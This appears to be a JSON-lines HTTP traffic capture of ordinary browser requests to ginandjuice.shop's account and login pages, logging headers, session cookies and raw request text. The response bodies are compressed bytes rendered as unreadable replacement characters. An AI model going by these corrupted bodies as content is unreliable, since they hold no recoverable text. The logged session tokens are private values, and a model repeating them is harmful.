fffd\\ufffdk◶\\ufffd\\ufffd\\ufffd\\ufffdЙ̷\\u0016\\ufffd\\ufffdnQ\\ufffd\\u003c\\ufffd:\\u0007\\ufffd\\u001c\\u0015\\ufffde̚}d)L]\\ufffdx\\ufffd5G\\u003c\\ufffd\\ufffdT\\u0005\\ufffd5I\\ufffd\\ufffd\\ufffd\\ufffd \\ufffd\\ufffd0?F\\u0011\\u0019\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\u000f\\ufffdFc8\\ufffd\\ufffd\\t\\ufffd(\\ufffd\\u0011\\r\\ufffdN\\ufffd\\u001c\\u0015U(f\\\\U܊\\ufffd\\ufffdЋp\\ufffd\\ufffd\\u001dֺ\\u0019\\ufffd\\n\\ufffdR\\n.\\ufffd:kK\\ufffdz\\ufffdTa\\ufffd\\ufffd\\u0013l\\ufffd\\ufffd\\u0007\\ufffd\\ufffd\\u0011\\u001b\\ufffd~\\ufffdh\\ufffd\\ufffd\\u000bͪ\\u001d\\ufffd;\\ufffd\\ufffdT\\ufffd\\u003e\\ufffd\\ufffd\\ufffd)9\\u0011\\ufffdG(̗w\\ufffdk6}v\\ufffd\\ufffd\\u003e\\ufffd,\\ufffd\\ufffdQ\\ufffd\\ufffds\\ufffd3\\ufffdV\\u0019\\ufffd\\ufffdX\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd`D\\ufffd\\u003c(]\\ufffd\\u0018ꆪ\\ufffd$\\ufffd\\ufffd{\\u0008\\ufffd\\ufffd~c\\ufffdc\\u0014_\\ufffdk\\ufffd\\ufffd_\\ufffd\\ufffd\\u0014q\\u000e\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd1\\u000e\\u0003_\\ufffd\\u001f\\ufffd6uP\\ufffd\\ufffd\\ufffdR\\ufffdW\\ufffd3\\ufffd\\ufffd\\\\\\ufffd*\\ufffd\\ufffdLE\\ufffd{\\ufffd\\ufffd\\u0026\\ufffd\\u0000\\ufffd#~\\u0016\\ufffd\\ufffd\\ufffd\\ufffdޤ\\ufffd\\ufffd\\ufffd?\\ufffdA\\ufffd7K\\ufffd\\ufffd*0!ZkL\\ufffd[\\ufffd\\ufffde\\ufffdj\\ufffd\\ufffd)\\ufffd\\ufffd䦴\\u000fÊ\\ufffd\\ufffd\\ufffd\\ufffdٟ\\ufffd(\\ufffdyL,\\ufffd\\u0026P\\ufffdt$\\u0017s\\ufffd\\ufffd\\ufffdH\\ufffd\\ufffd5\\u0002\\ufffd\\ufffd\\ufffd\\ufffd\\u0015\\ufffd\\ufffd6NE^\\ufffd/\\ufffd\\rYEi\\ufffd۶a\\\\\\u001e\\ufffdA6\\u00033\\ufffd\\ufffd8\\rFo1s\\ufffdgػzԫ\\ufffd{уmre4\\ufffd\\\"\\ufffd\\ufffd\\ufffd9\\ufffd\\u0004p\\ufffdr\\u0016i\\ufffdG\\u0026\\ufffd\\u000b\\\\\\u0011\\ufffd\\ufffd\\ufffdY\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\u000e\\ufffd-\\ufffdG\\ufffd\\ufffd\\ufffd8\\ufffdH\\ufffdIDD\\ufffd\\ufffd:\\ufffd\\ufffd\\ufffd'\\ufffd\\ufffde¡\\u003e\\ufffd\\ufffd\\ufffdn=\\u001c7\\ufffd`\\ufffdDkx\\ufffd=\\ufffd\\ufffdf+\\ufffdo\\ufffd\\ufffd\\u0005ن\\ufffdĄzy{\\ufffd~\\ufffd\\ufffd\\ufffd.$\\ufffdk\\ufffd\\ufffd\\ufffd\\ufffd\\ufffdP\\ufffd\\ufffde\\ufffd\\ufffdKR\\ufffdV\\ufffd\\ufffdlL\\ufffd\\ufffd\\u0018\\ufffd\\ufffd\\ufffdpu\\ufffd{@\\u0014\\ufffd_\\ufffd\\u0004\\u0018\\ufffdwΉ̑\\ufffd\\ufffd\\u0018\\ufffd\\ufffd\\ufffd\\ufffdCy\\ufffd\\ufffd\\ufffdԩ\\u0008\\ufffd\\ufffd\\ufffd\\u001c#6\\ufffd\\ufffd\\ufffd\\ufffdXUFΜ\\ufffd\\u001ar\\u000c\\u0004Hq\\ufffd6\\u00116XG\\u0026]Rl6\\u0002o\\ufffdV\\n*\\\\\\ufffd\\ufffd\\ufffdw\\ufffdL\\ufffdg\\ufffd\\ufffd4\\ufffd\\ufffd{\\ufffd\\ufffd\\ufffd+b\\ufffdo\\ufffd/M\\ufffd\\ufffd2\\ufffd\\ufffd\\ufffd\\ufffd\\u001a{\\ufffd7\\ufffda}\\ufffd\\u0005,ᖇ\\ufffd@y\\ufffdE\\ufffd\\ufffd\\ufffdC\\ufffd\\ufffd@\\ufffdE{\\u0003\\ufffd\\ufffd\\ufffd˼p\\ufffdΧJ\\ufffd\\ufffd\\ufffd)\\u0013\\u0017\\u0019GU\\ufffd\\ufffdh\\ufffd\\ufffd\\ufffdB\\ufffd\\ufffdRR\\ufffd\\ufffd\\ufffd'7\\ufffd\\ufffd\\u0010\\ufffd\\u001e\\ufffd+i\\u0005\\u001f\\ufffd\\u0012Y%\\ufffdj\\ufffd\\ufffdDl\\ufffdI\\ufffd(\\ufffd\\ufffdK\\u003e\\ufffd\\ufffdT.\\ufffd/\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\u0017\\ufffd\\ufffdw\\ufffd\\ufffd2~\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd'\\ufffdt\\ufffdsU_?mt\\ufffdݱ`I\\u0026\\ufffd\\ufffd|əA\\ufffd\\ufffd?\\ufffd\\ufffd\\ufffdH\\ufffd\\ufffd\\u0013\\u0018\\ufffdD\\ufffd\\ufffdЏ\\u001c\\ufffd^\\ufffd\\ufffd\\u001d\\ufffdY[\\ufffd0F\\u003c\\u0014\\ufffd\\ufffdN\\ufffd\\ufffd\\ufffd˯\\ufffd\\ufffd\\ufffd\\u000e\\ufffd3\\ufffd\\ufffd]Xcn\\u001f\\ufffdz\\u000f\\ufffd2\\ufffdt.=ӓ\\ufffd\\ufffd\\u000f\\ufffd\\ufffd\\ufffdN\\u0018y\\ufffd\\ufffdM\\u0011\\ufffd\\ufffd79\\u000f\\ufffd^l5\\ufffd\\ufffd\\ufffdpV˦XP\\ufffd\\u0012z8\\ufffd\\ufffd3\\ufffd\\ufffd\\\"\\ufffd\\ufffd\\ufffd=\\ufffdr`k\\t,A\\ufffd`WBX!\\ufffd\\ufffdm\\ufffd`\\ufffd\\u001f\\ufffd\\u0019\\u0012Y\\ufffdMC\\ufffd\\u0000T\\ufffd$\\ufffd\\ufffd\\ufffd\\n6x֘b\\ufffd\\ufffd\\ufffds\\ufffd['\\u001d\\ufffd\\ufffd\\u0018=FY\\ufffd@V\\ufffd\\ufffd\\ufffd\\u001fO\\ufffd\\ufffd\\ufffd\\ufffd\\ufffdRt\\ufffd\\ufffd \\ufffd\\ufffd\\ufffdU'\\ufffdґW\\ufffd1\\ufffdB\\ufffd\\ufffd\\ufffd֗\\ufffdM\\u000eFqo\\ufffd\\ufffd\\u003e\\ufffdXE=\\ufffd\\ufffd\\ufffd\\ufffd~\\ufffd0\\ufffdF.辱\\ufffd\\ufffd|\\u00020\\ufffd\\ufffd?\\ufffd\\ufffduƚ9\\ufffdK\\ufffd\\ufffd;Pv\\ufffd\\ufffd\\ufffd\\u000ejkJw^H\\ufffd\\ufffdsZ\\u0013\\u0012P??\\\"-y\\ufffd\\ufffd\\ufffd?t\\tSo3:\\ufffdD_\\u001e\\ufffd\\ufffd?ļo\\u001f\\ufffd|y\\ufffd\\ufffd}\\ufffd\\ufffd:{\\ufffd\\u0015p{\\ufffd\\ufffdq\\ufffd\\ufffd\\ufffd\\ufffd#;\\ufffdF\\ufffd\\ufffdT\\ufffd}\\ufffdvz\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd;\\ufffdF\\ufffd\\u0019\\ufffd\\u0000j\\ufffd\\ufffd\\ufffd\\ufffd+\\u0000\\u0000\",\"raw\":\"HTTP/1.1 200 OK\\r\\nConnection: close\\r\\nContent-Length: 2591\\r\\nContent-Encoding: gzip\\r\\nContent-Type: text/html; charset=utf-8\\r\\nDate: Thu, 07 Sep 2023 15:34:19 GMT\\r\\nSet-Cookie: AWSALB=Prgzdf44LBH/gIvkpQ7RQidBUe8DBb1sOfSy2cOoObGCZj/Pw+JO24xtHjKhCruF8b6CtxRw/8xqmTUMB3Guew6HtEFfVT+oRIyi5OX8fbUB1fodnvla28WXfiAB; Expires=Thu, 14 Sep 2023 15:34:19 GMT; Path=/\\r\\nSet-Cookie: AWSALBCORS=Prgzdf44LBH/gIvkpQ7RQidBUe8DBb1sOfSy2cOoObGCZj/Pw+JO24xtHjKhCruF8b6CtxRw/8xqmTUMB3Guew6HtEFfVT+oRIyi5OX8fbUB1fodnvla28WXfiAB; Expires=Thu, 14 Sep 2023 15:34:19 GMT; Path=/; SameSite=None; Secure\\r\\nX-Backend: ecfca00b-5a9e-4a89-91bd-de41ecbc4611\\r\\nX-Frame-Options: SAMEORIGIN\\r\\n\\r\\n\"}}\n{\"timestamp\":\"2023-09-07T21:04:25+05:30\",\"url\":\"https://ginandjuice.shop/my-account\",\"request\":{\"header\":{\"Accept\":\"text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7\",\"Accept-Encoding\":\"gzip, deflate, br\",\"Accept-Language\":\"en-US,en;q=0.9,hi;q=0.8\",\"Connection\":\"close\",\"Cookie\":\"TrackingId=eyJ0eXBlIjoiY2xhc3MiLCJ2YWx1ZSI6InkyRTQ5UzdBNFdiWUVDZEYifQ==; session=rXVoplR77zJ2sMgzZWa5Cp5X2y0YMzSK; AWSALB=Prgzdf44LBH/gIvkpQ7RQidBUe8DBb1sOfSy2cOoObGCZj/Pw+JO24xtHjKhCruF8b6CtxRw/8xqmTUMB3Guew6HtEFfVT+oRIyi5OX8fbUB1fodnvla28WXfiAB; AWSALBCORS=Prgzdf44LBH/gIvkpQ7RQidBUe8DBb1sOfSy2cOoObGCZj/Pw+JO24xtHjKhCruF8b6CtxRw/8xqmTUMB3Guew6HtEFfVT+oRIyi5OX8fbUB1fodnvla28WXfiAB\",\"Referer\":\"https://ginandjuice.shop/about\",\"Sec-Ch-Ua\":\"\\\"Chromium\\\";v=\\\"116\\\", \\\"Not)A;Brand\\\";v=\\\"24\\\", \\\"Google Chrome\\\";v=\\\"116\\\"\",\"Sec-Ch-Ua-Mobile\":\"?0\",\"Sec-Ch-Ua-Platform\":\"\\\"macOS\\\"\",\"Sec-Fetch-Dest\":\"document\",\"Sec-Fetch-Mode\":\"navigate\",\"Sec-Fetch-Site\":\"same-origin\",\"Sec-Fetch-User\":\"?1\",\"Upgrade-Insecure-Requests\":\"1\",\"User-Agent\":\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36\",\"host\":\"ginandjuice.shop\",\"method\":\"GET\",\"path\":\"/my-account\",\"scheme\":\"https\"},\"raw\":\"GET /my-account HTTP/1.1\\r\\nHost: ginandjuice.shop\\r\\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7\\r\\nAccept-Encoding: gzip, deflate, br\\r\\nAccept-Language: en-US,en;q=0.9,hi;q=0.8\\r\\nConnection: close\\r\\nCookie: TrackingId=eyJ0eXBlIjoiY2xhc3MiLCJ2YWx1ZSI6InkyRTQ5UzdBNFdiWUVDZEYifQ==; session=rXVoplR77zJ2sMgzZWa5Cp5X2y0YMzSK; AWSALB=Prgzdf44LBH/gIvkpQ7RQidBUe8DBb1sOfSy2cOoObGCZj/Pw+JO24xtHjKhCruF8b6CtxRw/8xqmTUMB3Guew6HtEFfVT+oRIyi5OX8fbUB1fodnvla28WXfiAB; AWSALBCORS=Prgzdf44LBH/gIvkpQ7RQidBUe8DBb1sOfSy2cOoObGCZj/Pw+JO24xtHjKhCruF8b6CtxRw/8xqmTUMB3Guew6HtEFfVT+oRIyi5OX8fbUB1fodnvla28WXfiAB\\r\\nReferer: https://ginandjuice.shop/about\\r\\nSec-Ch-Ua: \\\"Chromium\\\";v=\\\"116\\\", \\\"Not)A;Brand\\\";v=\\\"24\\\", \\\"Google Chrome\\\";v=\\\"116\\\"\\r\\nSec-Ch-Ua-Mobile: ?0\\r\\nSec-Ch-Ua-Platform: \\\"macOS\\\"\\r\\nSec-Fetch-Dest: document\\r\\nSec-Fetch-Mode: navigate\\r\\nSec-Fetch-Site: same-origin\\r\\nSec-Fetch-User: ?1\\r\\nUpgrade-Insecure-Requests: 1\\r\\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36\\r\\n\\r\\n\"},\"response\":{\"header\":{\"Content-Encoding\":\"gzip\",\"Content-Length\":\"0\",\"Date\":\"Thu, 07 Sep 2023 15:34:26 GMT\",\"Location\":\"/login\",\"Set-Cookie\":\"AWSALB=YQrYtEDgBJg08T9WcAOq2QBpXgV1lXFcJkxdUrJJT3bwm6199fl2Pa96roWYv8FnW2sr+bIcQUEV+98gRuQOfXRbsr5zMpj/eW72rpGJOfeDtsUozRwI+Qhi1WCm; Expires=Thu, 14 Sep 2023 15:34:26 GMT; Path=/, AWSALBCORS=YQrYtEDgBJg08T9WcAOq2QBpXgV1lXFcJkxdUrJJT3bwm6199fl2Pa96roWYv8FnW2sr+bIcQUEV+98gRuQOfXRbsr5zMpj/eW72rpGJOfeDtsUozRwI+Qhi1WCm; Expires=Thu, 14 Sep 2023 15:34:26 GMT; Path=/; SameSite=None; Secure\",\"X-Backend\":\"ecfca00b-5a9e-4a89-91bd-de41ecbc4611\",\"X-Frame-Options\":\"SAMEORIGIN\"},\"raw\":\"HTTP/1.1 302 Found\\r\\nConnection: close\\r\\nContent-Encoding: gzip\\r\\nDate: Thu, 07 Sep 2023 15:34:26 GMT\\r\\nLocation: /login\\r\\nSet-Cookie: AWSALB=YQrYtEDgBJg08T9WcAOq2QBpXgV1lXFcJkxdUrJJT3bwm6199fl2Pa96roWYv8FnW2sr+bIcQUEV+98gRuQOfXRbsr5zMpj/eW72rpGJOfeDtsUozRwI+Qhi1WCm; Expires=Thu, 14 Sep 2023 15:34:26 GMT; Path=/\\r\\nSet-Cookie: AWSALBCORS=YQrYtEDgBJg08T9WcAOq2QBpXgV1lXFcJkxdUrJJT3bwm6199fl2Pa96roWYv8FnW2sr+bIcQUEV+98gRuQOfXRbsr5zMpj/eW72rpGJOfeDtsUozRwI+Qhi1WCm; Expires=Thu, 14 Sep 2023 15:34:26 GMT; Path=/; SameSite=None; Secure\\r\\nX-Backend: ecfca00b-5a9e-4a89-91bd-de41ecbc4611\\r\\nX-Frame-Options: SAMEORIGIN\\r\\nContent-Length: 0\\r\\n\\r\\n\"}}\n{\"timestamp\":\"2023-09-07T21:04:26+05:30\",\"url\":\"https://ginandjuice.shop/login\",\"request\":{\"header\":{\"Accept\":\"text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7\",\"Accept-Encoding\":\"gzip, deflate, br\",\"Accept-Language\":\"en-US,en;q=0.9,hi;q=0.8\",\"Connection\":\"close\",\"Cookie\":\"TrackingId=eyJ0eXBlIjoiY2xhc3MiLCJ2YWx1ZSI6InkyRTQ5UzdBNFdiWUVDZEYifQ==; session=rXVoplR77zJ2sMgzZWa5Cp5X2y0YMzSK; AWSALB=YQrYtEDgBJg08T9WcAOq2QBpXgV1lXFcJkxdUrJJT3bwm6199fl2Pa96roWYv8FnW2sr+bIcQUEV+98gRuQOfXRbsr5zMpj/eW72rpGJOfeDtsUozRwI+Qhi1WCm; AWSALBCORS=YQrYtEDgBJg08T9WcAOq2QBpXgV1lXFcJkxdUrJJT3bwm6199fl2Pa96roWYv8FnW2sr+bIcQUEV+98gRuQOfXRbsr5zMpj/eW72rpGJOfeDtsUozRwI+Qhi1WCm\",\"Referer\":\"https://ginandjuice.shop/about\",\"Sec-Ch-Ua\":\"\\\"Chromium\\\";v=\\\"116\\\", \\\"Not)A;Brand\\\";v=\\\"24\\\", \\\"Google Chrome\\\";v=\\\"116\\\"\",\"Sec-Ch-Ua-Mobile\":\"?0\",\"Sec-Ch-Ua-Platform\":\"\\\"macOS\\\"\",\"Sec-Fetch-Dest\":\"document\",\"Sec-Fetch-Mode\":\"navigate\",\"Sec-Fetch-Site\":\"same-origin\",\"Sec-Fetch-User\":\"?1\",\"Upgrade-Insecure-Requests\":\"1\",\"User-Agent\":\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36\",\"host\":\"ginandjuice.shop\",\"method\":\"GET\",\"path\":\"/login\",\"scheme\":\"https\"},\"raw\":\"GET /login HTTP/1.1\\r\\nHost: ginandjuice.shop\\r\\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7\\r\\nAccept-Encoding: gzip, deflate, br\\r\\nAccept-Language: en-US,en;q=0.9,hi;q=0.8\\r\\nConnection: close\\r\\nCookie: TrackingId=eyJ0eXBlIjoiY2xhc3MiLCJ2YWx1ZSI6InkyRTQ5UzdBNFdiWUVDZEYifQ==; session=rXVoplR77zJ2sMgzZWa5Cp5X2y0YMzSK; AWSALB=YQrYtEDgBJg08T9WcAOq2QBpXgV1lXFcJkxdUrJJT3bwm6199fl2Pa96roWYv8FnW2sr+bIcQUEV+98gRuQOfXRbsr5zMpj/eW72rpGJOfeDtsUozRwI+Qhi1WCm; AWSALBCORS=YQrYtEDgBJg08T9WcAOq2QBpXgV1lXFcJkxdUrJJT3bwm6199fl2Pa96roWYv8FnW2sr+bIcQUEV+98gRuQOfXRbsr5zMpj/eW72rpGJOfeDtsUozRwI+Qhi1WCm\\r\\nReferer: https://ginandjuice.shop/about\\r\\nSec-Ch-Ua: \\\"Chromium\\\";v=\\\"116\\\", \\\"Not)A;Brand\\\";v=\\\"24\\\", \\\"Google Chrome\\\";v=\\\"116\\\"\\r\\nSec-Ch-Ua-Mobile: ?0\\r\\nSec-Ch-Ua-Platform: \\\"macOS\\\"\\r\\nSec-Fetch-Dest: document\\r\\nSec-Fetch-Mode: navigate\\r\\nSec-Fetch-Site: same-origin\\r\\nSec-Fetch-User: ?1\\r\\nUpgrade-Insecure-Requests: 1\\r\\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36\\r\\n\\r\\n\"},\"response\":{\"header\":{\"Content-Encoding\":\"gzip\",\"Content-Length\":\"1793\",\"Content-Type\":\"text/html; charset=utf-8\",\"Date\":\"Thu, 07 Sep 2023 15:34:26 GMT\",\"Set-Cookie\":\"AWSALB=bqZoSugibrUn2bfJXYlvAufNHb6V5/dDhGQEYNEgWk9i8ARnQb/nXdgJ2kUC/ruOt3kfOm5GioxnCSPhWXHQq7eqXcg+qfYT1aWoQTJiY/4PmV/OUGHZlL2oJDKx; Expires=Thu, 14 Sep 2023 15:34:26 GMT; Path=/, AWSALBCORS=bqZoSugibrUn2bfJXYlvAufNHb6V5/dDhGQEYNEgWk9i8ARnQb/nXdgJ2kUC/ruOt3kfOm5GioxnCSPhWXHQq7eqXcg+qfYT1aWoQTJiY/4PmV/OUGHZlL2oJDKx; Expires=Thu, 14 Sep 2023 15:34:26 GMT; Path=/; SameSite=None; Secure\",\"X-Backend\":\"ecfca00b-5a9e-4a89-91bd-de41ecbc4611\",\"X-Frame-Options\":\"SAMEORIGIN\"},\"body\":\"\\u001f\\ufffd\\u0008\\u0000\\u0000\\u0000\\u0000\\u0000\\u0000\\ufffd\\ufffdY\\ufffdn\\ufffd6\\u0014\\ufffd\\ufffd\\ufffd`5\\ufffdi\\ufffd*\\ufffd\\ufffd^6\\ufffd2\\ufffd\\ufffdm\\ufffd\\\"M\\ufffd\\ufffdٚ\\ufffd)(\\ufffd\\ufffd\\ufffdR\\ufffd\\u0026Rv\\ufffdH{\\ufffd=\\ufffd\\u000eIY\\ufffdmɒ{\\u0001\\ufffd\\ufffdA\\u0010\\ufffd\\ufffd\\ufffd\\u001f\\u000f\\u000fϕ\\ufffd\\ufffd{uq\\ufffd\\ufffd\\ufffd\\ufffd5JTʦ?L\\ufffd\\u0007\\ufffd\\ufffdIBpd\\ufffd\\ufffd!\\ufffd\\ufffd\\u0013Jr2\\ufffd\\ufffd\\ufffdHQ\\ufffd!\\ufffd\\u001eÁf#\\ufffd\\u0017J\\ufffd\\ufffd\\u0010\\ufffdw\\ufffdWC8\\u0004\\u0002\\ufffd\\t\\ufffd\\ufffd*\\u0019\\ufffd\\t!\\ufffd\\u000fLC\\u0000\\ufffd\\ufffd\\u0002\\ufffd\\ufffd\\ufffd\\u0006H\\ufffd\\ufffd\\ufffd\\ufffdΜ\\ufffdE\\u0026r\\ufffd\\ufffdPpE\\ufffd\\ufffd\\ufffd\\u0005\\ufffdT\\ufffdGdNC\\ufffd\\ufffd\\ufffd#TH\\ufffd\\ufffd !\\ufffd\\ufffd\\ufffdυ\\ufffd@\\ufffdaN3\\ufffdd\\u001e\\ufffdNC\\ufffd[\\t\\u0003\\u001c\\ufffdC@\\\"Ld)\\ufffd\\u001f\\ufffdJg:\\ufffd\\ufffd\\ufffd\\ufffd\\u0010n$\\ufffd=`T\\ufffd\\ufffd\\ufffd\\u0014\\ufffdS\\ufffd-\\ufffdcKu\\ufffd\\ufffd1\\ufffd\\u000b\\ufffd\\ufffd\\ufffd#\\ufffd\\ufffd\\ufffd\\ufffd\\u000bUQ\\ufffd\\ufffd\\ufffdLĔ#\\u0017\\ufffd\\ufffd\\ufffd\\ufffd8\\ufffd^\\ufffd\\ufffd\\u0005(\\u0008]%\\\"\\ufffdx\\ufffd\\ufffd^\\ufffd\\ufffd\\ufffd\\ufffdI \\ufffd\\u0012\\ufffd\\ufffd\\ufffdY\\ufffd@\\ufffd\\ufffd\\u001c\\ufffd\\ufffdw\\ufffdW\\ufffdШ=\\u000b\\t\\u0015\\u0015\\u001c\\ufffd\\u000cK\\ufffd;\\ufffdP܈X\\ufffd`fc\\ufffdY\\ufffdm\\ufffd\\ufffd\\ufffd\\ufffd\\ufffdJ\\u0004\\ufffd\\u0018E\\ufffdр\\ufffdX\\u0011V\\ufffdy\\ufffd8|\\ufffd\\u001bE\\u000b\\u0012 \\ufffd\\ufffd\\ufffd\\u0010\\ufffd]a\\u001f\\u001as\\u0012\\ufffd\\ufffdȑ\\\"RQ\\u001ek\\ufffd\\ufffd\\u003c\\ufffdً\\ufffdBʨ*-I\\u001f\\u0005h\\ufffd\\ufffdU\\ufffd\\ufffd\\ufffdp}\\u0014m\\ufffd\\u000e\\u0012\\u003c\\u0015`Up\\ufffd$\\ufffd6\\ufffd#\\ufffd8\\ufffd\\ufffd\\ufffdn\\ufffd|4\\ufffd\\ufffd\\ufffd|}\\ufffdhm6\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd.\\ufffd\\ufffdʛ\\ufffdO\\ufffd\\u0016\\u0017\\ufffd\\ufffd\\ufffd\\u0019z\\ufffd\\ufffd\\ufffd\\ufffd}\\ufffd\\ufffdkm8^\\u001f\\u003ey\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd#\\ufffdD\\ufffd\\ufffd\\ufffdl\\ufffd\\ufffd(8}\\ufffd\\ufffd\\ufffd\\r\\ufffd\\ufffde\\ufffd)c\\ufffd\\ufffd\\ufffd\\u000f\\u001eֻ2\\ufffd\\ufffd\\ufffdp\\u000fD\\ufffd\\u0006\\ufffd\\ufffd\\u0005ڢ\\u001d\\ufffd\\ufffd\\ufffd-\\ufffd'\\ufffd\\ufffd\\ufffdP\\ufffd\\u0004\\ufffdF\\ufffd= %\\ufffdJ\\ufffd\\ufffd\\ufffd{`Ӡ\\ufffd\\u0016s\\ufffd6\\ufffd\\u0005\\u0018\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\u0003k\\ufffd/\\ufffdF\\u0007-\\ufffdڼ-\\ufffd\\ufffd)\\ufffd\\u0002[\\ufffd]N\\ufffd\\rc\\u0007^\\u000bL\\u000b\\ufffd4\\ufffd\\ufffde\\\"\\u0016\\ufffd\\ufffd@\\ufffd\\ufffd\\ufffdp\\ufffd\\ufffd\\n\\ufffd8\\ufffd\\ufffd#\\ufffdY\\ufffdq\\ufffd65G\\ufffd\\ufffd\\ufffd\\r\\ufffd466\\ufffdV\\u000e\\ufffd\\ufffd]\\ufffd,\\ufffd)\\ufffdK;jq\\ufffd-HF\\ufffd\\ufffd\\u000c#^n\\u001d\\u0014JAP\\ufffd\\nu\\u003c\\ufffdL\\u000cz\\u0002\\ufffd\\ufffdET\\ufffdJv*e\\r\\ufffd\\u001b\\ufffd\\ufffd\\ufffdK\\u0017\\u0018\\ufffd^\\ufffd\\ufffd\\ufffd\\ufffdX8\\u0010\\ufffdr\\ufffd\\u0017ڏ\\ufffd\\ufffd˯$\\ufffd\\ufffd+\\ufffd\\u0017\\ufffd\\u0010\\ufffd\\ufffd\\ufffd\\ufffd76\\\"\\u001c\\ufffd\\ufffd\\ufffdʥ\\ufffd\\u0017\\ufffd\\ufffd*T$\\ufffdՓ\\ufffdn\\ufffd\\u0000yR\\ufffd\\ufffd\\ufffd\\u0004\\u0002\\ufffdrr\\ufffdW\\ufffd\\ufffdc\\ufffd\\u0001\\u0018K\\ufffdC\\ufffd\\ufffd\\ufffd\\t\\ufffd\\u0013-,\\ufffd\\ufffdV\\ufffd\\u000c\\ufffds\\ufffd\\ufffda\\ufffd{\\ufffd[\\u000f\\u001bv\\ufffd\\u003c8\\ufffd\\u0001\\ufffd\\ufffd\\ufffd\\u0012\\u001b\\ufffdA\\ufffd\\ufffdm\\ufffd~W\\ufffd\\ufffd\\ufffd7\\u0012\\ufffd\\ufffdȇ\\ufffd}\\ufffd\\ufffd\\ufffd8\\ufffd,k#\\u0002zzF۫N\\ufffd\\ufffd*\\u0015\\u000e\\ufffd^\\ufffdԘ\\ufffd\\n}\\ufffd\\u001d|\\ufffdF\\u0004p\\ufffd\\ufffdcF`7\\ufffdF\\ufffdi\\u001c\\ufffdRў\\ufffd\\u003eL\\ufffd\\u0000\\ufffd\\ufffd\\ufffd\\ufffd4\\ufffd:\\u0013`G\\nn!\\ufffd\\u0014\\u0016\\u001b\\\\\\u00265CŢ{\\u0012\\ufffdK\\ufffd\\ufffdz8\\ufffd\\ufffd]g\\ufffd\\ufffdRx\\ufffdꝚ\\u000fj`7\\ufffd\\ufffd\\ufffd\\u0008\\ufffd\\u0013\\u001bpk\\ufffd\\u000bEgUA\\\\\\ufffd⮅\\ufffd\\ufffd\\ufffd\\ufffd\\u001d\\ufffd\\ufffd\\u0001\\ufffdF\\u001d,\\ufffdu\\ufffd\\u001a\\u0007\\u0014\\ufffdi%\\ufffdяk\\u0008\\ufffd\\ufffd%\\\"\\ufffd//\\ufffdރk\\u00080\\ufffd6\\ufffdm\\ufffdQ\\ufffdA͘\\ufffd\\ufffd\\u000b\\ufffdC\\ufffdo{\\ufffd\\ufffdF\\u0011\\u0001\\u0017\\ufffd\\ufffda(\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\u001508M\\ufffd\\u000fD\\ufffd\\ufffd8\\u003e\\ufffd\\ufffd\\\\\\ufffdQ\\ufffd\\ufffd\\ufffd\\u0014o.\\ufffd\\ufffd\\ufffd\\ufffd\\ufffdϮ\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\u001ad0\\ufffd\\ufffdNR\\ufffdO\\ufffd`\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd]\\ufffdi\\ufffd\\ufffd\\n\\ufffd\\u000e\\u001e\\ufffd;\\ufffd1\\ufffd\\u0018\\u000eI\\\"X\\ufffd;\\ufffd%\\ufffd\\ufffdq\\ufffd\\ufffd\\ufffdW'*j6\\\\(1\\u0013a!{\\ufffd\\ufffd!\\ufffdR|50Ȳ\\u0008R\\ufffd\\ufffd\\ufffd\\ufffd\\u00030\\u0001;\\ufffdˑ\\ufffd\\ufffdu\\u0019P\\ufffd\\u0001\\u000c\\ufffd\\u0026Cn\\ufffd\\ufffdL\\u0008\\ufffd\\ufffd\\ufffdE\\u000eM]\\ufffdl\\ufffd\\ufffd]\\ufffde\\ufffd\\ufffdȌ\\ufffdtT\\ufffdQ\\ufffdo\\ufffd\\tM\\ufffd\\ufffd\\ufffdP\\u0026\\ufffd\\ufffd\\ufffd\\u001c\\ufffd\\ufffd\\u001c\\ufffdT\\ufffdv\\u00153\\ufffd\\ufffdA׺\\ufffd\\r\\ufffd\\u001a\\ufffd\\u0002\\ufffd\\ufffdh\\u0007D6}+\\ufffd\\u003et/\\ufffd\\u00109\\ufffd\\u00164\\\"(\\u0014iZphV\\ufffd\\ufffd!\\ufffd\\ufffdc\\u001e\\ufffd[ӿ\\ufffd0\\u0007\\u000f\\u000f\\ufffd#\\ufffd꒻\\ufffd\\u0015\\ufffd\\ufffda'\\ufffd\\ufffdд\\u0019 